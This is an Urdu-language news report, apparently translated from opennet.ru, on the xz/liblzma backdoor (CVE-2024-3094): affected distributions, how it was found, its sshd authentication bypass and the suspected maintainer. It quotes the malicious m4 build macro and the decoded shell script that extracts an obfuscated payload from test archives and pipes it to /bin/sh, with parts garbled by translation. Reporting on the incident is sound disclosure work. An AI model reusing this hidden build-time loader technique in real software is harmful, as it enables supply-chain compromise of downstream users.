xz/liblzma لائبریری میں ایک بیک ڈور دریافت ہوا جو sshd کے ذریعے داخلے کی اجازت دیتا ہے

XZ Utils پیکیج میں، جس میں ".xz" فارمیٹ میں کمپریسڈ ڈیٹا کے ساتھ کام کرنے کے لیے liblzma لائبریری اور یوٹیلیٹیز شامل ہیں، ایک بیک ڈور (CVE-2024-3094) کی نشاندہی کی گئی ہے جو متعلقہ ایپلی کیشنز کے ذریعے پروسیس کیے گئے ڈیٹا کو روکنے اور اس میں ترمیم کرنے کی اجازت دیتا ہے۔ liblzma لائبریری کے ساتھ۔ پچھلے دروازے کا بنیادی ہدف OpenSSH سرور ہے، جو کچھ تقسیموں میں libsystemd لائبریری کے ساتھ بنڈل ہے، جو بدلے میں liblzma کا استعمال کرتا ہے۔ sshd کو کمزور لائبریری کے ساتھ جوڑنا حملہ آوروں کو بغیر تصدیق کے SSH سرور تک رسائی حاصل کرنے کی اجازت دیتا ہے۔

بیک ڈور 5.6.0 فروری اور 5.6.1 مارچ کو شائع ہونے والی آفیشل ریلیز 24 اور 9 میں موجود تھا، جو کچھ ڈسٹری بیوشنز اور ریپوزٹریز میں داخل ہونے میں کامیاب ہوئے، مثال کے طور پر، Gentoo، Arch Linux، Debian sid/unstable، Fedora Rawhide اور 40-بیٹا، اوپن سوس فیکٹری اور ٹمبل ویڈ، LibreELEC، Alpine edge، Solus، NixOS غیر مستحکم، OpenIndiana، OpenMandriva رولنگ، pkgsrc کرنٹ، Slackware کرنٹ، Manjaro ٹیسٹنگ۔ xz 5.6.0 اور 5.6.1 ریلیز کے تمام صارفین کو فوری طور پر ورژن 5.4.6 پر واپس آنے کی سفارش کی جاتی ہے۔

اس مسئلے کو کم کرنے والے عوامل میں سے، یہ نوٹ کیا جا سکتا ہے کہ بیک ڈور کے ساتھ liblzma کا ورژن بڑی تقسیم کی مستحکم ریلیز کا حصہ بننے میں کامیاب نہیں ہوا، لیکن OpenSUSE Tumbleweed اور Fedora 40-beta کو متاثر کیا۔ آرک لینکس اور جینٹو نے zx کا ایک کمزور ورژن استعمال کیا، لیکن حملے کے لیے حساس نہیں ہیں کیونکہ وہ openssh پر systemd-notify پیچ کا اطلاق نہیں کرتے ہیں، جس کی وجہ سے sshd کو liblzma سے منسلک کیا جاتا ہے۔ بیک ڈور صرف لینکس کرنل اور Glibc C لائبریری پر مبنی x86_64 سسٹمز کو متاثر کرتا ہے۔

بیک ڈور ایکٹیویشن کوڈ m4 میکروز میں بلڈ ٹو host.m4 فائل سے چھپا ہوا تھا جسے آٹو میک ٹول کٹ تعمیر کرتے وقت استعمال کرتی تھی۔ اسمبلی کے دوران، آرکائیوز (bad-3-corrupt_lzma2.xz، good-large_compressed.lzma) پر مبنی پیچیدہ آپریشنز کے عمل کے دوران، آپریشن کی درستگی کو جانچنے کے لیے استعمال کیا جاتا تھا، بدنیتی پر مبنی کوڈ کے ساتھ ایک آبجیکٹ فائل تیار کی گئی تھی، جو اس میں شامل تھی۔ liblzma لائبریری اور آپریشن کی منطق کو اس کے کچھ افعال کو تبدیل کر دیا۔ ایم 4 میکرو جو بیک ڈور کو چالو کرتے ہیں ریلیز ٹربالز میں شامل تھے، لیکن گٹ ریپوزٹری میں نہیں تھے۔ ایک ہی وقت میں، نقصان دہ ٹیسٹ آرکائیوز ذخیرہ میں موجود تھے، یعنی وہ شخص جس نے بیک ڈور کو لاگو کیا تھا اس کے پاس ریپوزٹری اور ریلیز جنریشن دونوں عمل تک رسائی تھی۔

ایپلی کیشنز میں liblzma استعمال کرتے وقت، نقصان دہ تبدیلیاں ڈیٹا کو روکنے یا اس میں ترمیم کرنے، یا sshd کے آپریشن کو متاثر کرنے کے لیے استعمال کی جا سکتی ہیں۔ خاص طور پر، بدنیتی پر مبنی کوڈ نے sshd توثیق کے عمل کو نظرانداز کرنے کے لیے RSA_public_decrypt فنکشن کو دھوکہ دیا۔ پچھلے دروازے میں پتہ لگانے سے تحفظ شامل تھا اور جب LANG اور TERM ماحولیاتی متغیرات سیٹ کیے گئے تھے (یعنی جب ٹرمینل میں پراسیس چلا رہے تھے) اور LD_DEBUG اور LD_PROFILE ماحولیاتی متغیرات سیٹ نہیں کیے گئے تھے تو وہ خود کو ظاہر نہیں کرتے تھے، اور صرف اس وقت چالو کیا جاتا تھا جب اس پر عمل درآمد کیا جاتا تھا۔ /usr/sbin/sshd قابل عمل فائل۔ پچھلے دروازے میں ڈیبگ ماحول میں عمل درآمد کا پتہ لگانے کا ایک ذریعہ بھی تھا۔

خاص طور پر، m4/build-to-host.m4 فائل gl_am_configmake=`grep -aErls "#{4}[[:alnum:]]{5}#{4}$" $srcdir/ 2>/dev/ استعمال کرتی ہے۔ null` … gl_[$1]_config='sed \»r\n\» $gl_am_configmake | eval $gl_path_map | $gl_[$1]_prefix -d 2>/dev/null'

پہلی تعمیر میں، grep آپریشن نے فائل tests/files/bad-3-corrupt_lzma2.xz پایا، جسے پیک کھولنے پر، اسکرپٹ تیار ہوا: ####Hello#### #345U211267$^D330^W [ ! $(uname) = "Linux" ] && باہر نکلیں 0 [ ! $(uname) = "Linux" ] && باہر نکلیں 0 [ ! $(uname) = "Linux" ] && باہر نکلیں 0 [ ! $(uname) = "Linux" ] && باہر نکلیں 0 [ ! $(uname) = "Linux" ] && باہر نکلیں 0 eval `grep ^srcdir= config.status` اگر ٹیسٹ -f ../../config.status؛ پھر eval `grep ^srcdir= ../../config .status` srcdir="../../$srcdir» fi ایکسپورٹ i=»((head -c +1024 >/dev/null) && head -c +2048 && (head -c +1024 >/dev/ null) && head -c +2048 && (head -c +1024 >/dev/null) && head -c +2048 && (head -c +1024 >/dev/null) && head -c +2048 && (head - c +1024 >/dev/null) && head -c +2048 && (head -c +1024 >/dev/null) && head -c +2048 && (head -c +1024 >/dev/null) && head - c +2048 && (head -c +1024 >/dev/null) && head -c +2048 && (head -c +1024 >/dev/null) && head -c +2048 && (head -c +1024 >/ dev/null) && head -c +2048 && (head -c +1024 >/dev/null) && head -c +2048 && (head -c +1024 >/dev/null) && head -c +2048 && ( head -c +1024 >/dev/null) && head -c +2048 && (head -c +1024 >/dev/null) && head -c +2048 && (head -c +1024 >/dev/null) && head -c +2048 && (head -c +1024 >/dev/null) && head -c +2048 && (head -c +1024 >/dev/null) && head -c +939)";(xz -dc $srcdir/tests/files/good-large_compressed.lzma|eval $i|tail -c +31233|tr "\114-\321\322-\377\35-\47\14-\34\0-\13 \50-\113" "\0-\377")|xz -F raw —lzma1 -dc|/bin/sh ####دنیا####

حملہ آور کس طرح xz پروجیکٹ کے بنیادی ڈھانچے تک رسائی حاصل کرنے میں کامیاب ہوئے اس کی ابھی تک مکمل وضاحت نہیں ہو سکی ہے۔ یہ بھی ابھی تک واضح نہیں ہے کہ پچھلے دروازے کے نتیجے میں کتنے صارفین اور منصوبوں سے سمجھوتہ کیا گیا۔ بیک ڈور کے مبینہ مصنف (JiaT75 - جیا ٹین)، جس نے ریپوزٹری میں بدنیتی پر مبنی کوڈ کے ساتھ آرکائیوز پوسٹ کیے، فیڈورا کے ڈویلپرز کے ساتھ خط و کتابت کی اور ڈیبین کو xz 5.6.0 برانچ میں تقسیم کی منتقلی سے متعلق پل کی درخواستیں بھیجی، اور ایسا نہیں کیا۔ شک پیدا کرتا ہے، کیونکہ اس نے xz میں حصہ لیا تھا پچھلے دو سالوں سے ترقی کر رہا ہے اور کی گئی تبدیلیوں کی تعداد کے لحاظ سے وہ دوسرا ڈویلپر ہے۔ xz پروجیکٹ کے علاوہ، بیک ڈور کے مبینہ مصنف نے xz-java اور xz-ایمبیڈڈ پیکجز کی ترقی میں بھی حصہ لیا۔ مزید یہ کہ جیا ٹین کو کچھ دن پہلے لینکس کرنل میں استعمال ہونے والے XZ ایمبیڈڈ پروجیکٹ کے مینٹینرز کی تعداد میں شامل کیا گیا تھا۔

بدنیتی پر مبنی تبدیلی CPU کے ضرورت سے زیادہ استعمال اور والگرینڈ کے ذریعے پیدا ہونے والی غلطیوں کا تجزیہ کرنے کے بعد دریافت ہوئی جب ssh کے ذریعے Debian sid-based سسٹمز سے رابطہ قائم کیا گیا۔ یہ قابل ذکر ہے کہ xz 5.6.1 ریلیز میں بیک ڈور کے مبینہ مصنف کی طرف سے تیار کردہ تبدیلیاں شامل ہیں جو بیک ڈور کے ساتھ zx 5.6.0 ورژن میں اپ گریڈ کرنے کے بعد پیدا ہونے والی sshd سست روی اور کریشوں کے بارے میں شکایات کے جواب میں تیار کی گئی تھیں۔ مزید برآں، پچھلے سال جیا ٹین نے ایسی تبدیلیاں کیں جو "-fsanitize=address" انسپیکشن موڈ سے مطابقت نہیں رکھتی تھیں، جس کی وجہ سے اسے فز ٹیسٹنگ کے دوران غیر فعال کر دیا گیا تھا۔

ماخذ: opennet.ru

نیا تبصرہ شامل کریں